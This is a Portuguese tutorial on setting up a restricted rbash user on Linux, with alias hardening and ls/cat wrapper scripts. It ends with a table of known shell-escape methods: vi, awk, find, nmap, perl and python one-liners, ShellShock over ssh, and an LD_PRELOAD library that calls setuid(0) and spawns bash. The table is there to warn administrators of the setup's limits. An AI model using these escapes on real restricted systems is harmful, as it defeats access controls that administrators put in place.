
Um dia, apareceu a seguinte tarefa: criar um usuário local no Linux, com acesso limitado a pastas e arquivos, incluindo não apenas a edição, mas também a visualização, além da capacidade de usar apenas utilitários permitidos. Somente o acesso local é fornecido, não há acesso à rede.
Para não reinventar a roda, a primeira coisa que fiz foi começar a cavar na Internet e, como resultado, foram encontradas as seguintes opções:
- restrições de acesso através dos serviços de rede ssh, sftp (não cabia)
- diferenciação dos direitos de acesso pelo próprio sistema operacional linux (não se encaixava, eu gostaria de uma solução universal)
- usando chroot (não coube)
- o uso de utilitários de terceiros, por exemplo, SELinux (não se encaixa, complica o sistema).
Como resultado da pesquisa, foi encontrado um mecanismo
interno para restringir os recursos do usuário no shell bash, chamado
Shell Restrito ou rbash .
Ele implementa as seguintes restrições:
- não há como alterar o diretório com o comando cd
- Você não pode redefinir ou alterar os valores das variáveis SHELL, PATH, ENV, BASH_ENV
- é proibido especificar comandos contendo / (barra)
- é proibido importar funções do shell principal
- é proibido redirecionar a saída usando os operadores>, <, |, <>,> &, &>, >>
- é proibido usar o comando exec para substituir o comando etc.
Há um sinal de menos, isso é segurança, por isso é imperativo adicionar alias aos comandos no arquivo de comportamento do shell .bashrc (as informações serão mais detalhadas).
Obviamente, o rbash está pronto para uso, pois não resolve todos os problemas; portanto, como exemplo, consideramos criar um usuário e configurar seu ambiente para uma solução completa para o nosso problema.
Além disso, todas as operações são executadas a partir do superusuário (raiz).
1. Crie um shell limitado
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. Crie um usuário
adduser --home /home/zuser --shell /bin/zbash zuser
3. Altere as permissões do diretório
chown root.zuser /home/zuser chmod 750 /home/zuser
4. Vá para o diretório e limpe-o
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. Personalize o shell e os direitos
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
O arquivo .bashrc define o comportamento do shell; alias para comandos ou
opções adicionais podem ser adicionadas a esse arquivo.
Para garantir a segurança, execute os seguintes comandos:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
A lista continua ...
6. Verifique o trabalho
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7. Adicione comandos válidos
ln -s /bin/ping /home/zuser/bin/ping
Importante, os caminhos no comando ln devem ser totalmente especificados.
8. Você pode usar wrappers para limitar as opções do comando.
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. Você também pode criar um wrapper para trabalhar com arquivos e pastas.
com uma
lista negra (permita tudo, exceto):
- criar um arquivo
nano /var/scripts/ls
- conteúdo do arquivo
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
lista negra - uma variável que contém uma lista negra de diretórios ou arquivos (separados por espaços)
- comando add para o usuário zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
Esse script permite executar o comando ls com qualquer chave para diretórios e arquivos que não correspondem à lista negra
com uma
lista branca (proibir tudo, exceto):
- criar um arquivo
nano /var/scripts/cat
- conteúdo do arquivo
whitelist="./ /tmp/"
lista branca - uma variável que contém uma lista branca de diretórios ou arquivos (separados por espaço)
- comando add para o usuário zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
Este script permite executar o comando cat com os arquivos especificados na lista branca.
Feito , finalmente obtivemos o seguinte resultado:
- criamos um usuário zuser com shell rbash
- desativou a capacidade de usar o preenchimento automático no console
- O zuser pode executar apenas utilitários no diretório / home / zuser / bin
- adicionou o comando ping ao zuser
- adicionou o comando user-info ao usuário zuser
- O zuser foi restringido através do wrapper para executar comandos ls e cat
Infelizmente, esse método não garante 100% de segurança e, com certos conhecimentos e qualificações, o usuário pode deixar esse shell. Graças a
Jouretz arheops YaDr nos comentários, eles
forneceram exemplos de contornar restrições de shell.
Existem as seguintes vulnerabilidades nesta solução (Shell Escape), que devem ser levadas em consideração:
CAMINHO | Capacidade de alterar a variável PATH |
Copiar arquivos por scp | Capacidade de fazer upload de seu script |
Ao conectar via ssh, você pode alterar o shell | ssh zuser@xxxx -t "/bin/bash" |
Ao conectar via ssh, você pode alterar o arquivo de configuração do shell | ssh zuser@xxxx -t "bash --noprofile" |
Ao conectar via ssh, você pode usar o ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
Via utilitários vi, vim | :!bash |
Via utilitários vi, vim | :set shell=/bin/bash :shell |
Através dos serviços públicos, homem, mais, menos | !bash |
Através do utilitário find | find . -maxdepth 0 -execdir /bin/bash \; |
Via utilitário awk | awk 'BEGIN {system("/bin/bash")}' |
Via utilitário nmap | nmap --interactive |
Via utilitário nmap | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
Através do perl | perl -e 'exec "/bin/bash";' |
Via python | python -c 'import pty; pty.spawn("/bin/bash")' |
Via ruby | ruby: exec "/bin/bash" |
Via LD_PRELOAD | Crie o arquivo evil.c:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } Nós compilamos:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles Transferimos o arquivo evil.so resultante para a máquina com o console fechado e executamos:
LD_PRELOAD=$PWD/evil.so ls Como argumento, qualquer comando disponível |
Devido à presença de um número suficientemente grande de vulnerabilidades, esse método só pode ser usado para um usuário local em sistemas não críticos; para acessar através de uma rede via ssh, é melhor usar chroot ou outros utilitários para restringir os recursos do usuário.
Espero que esta informação seja útil.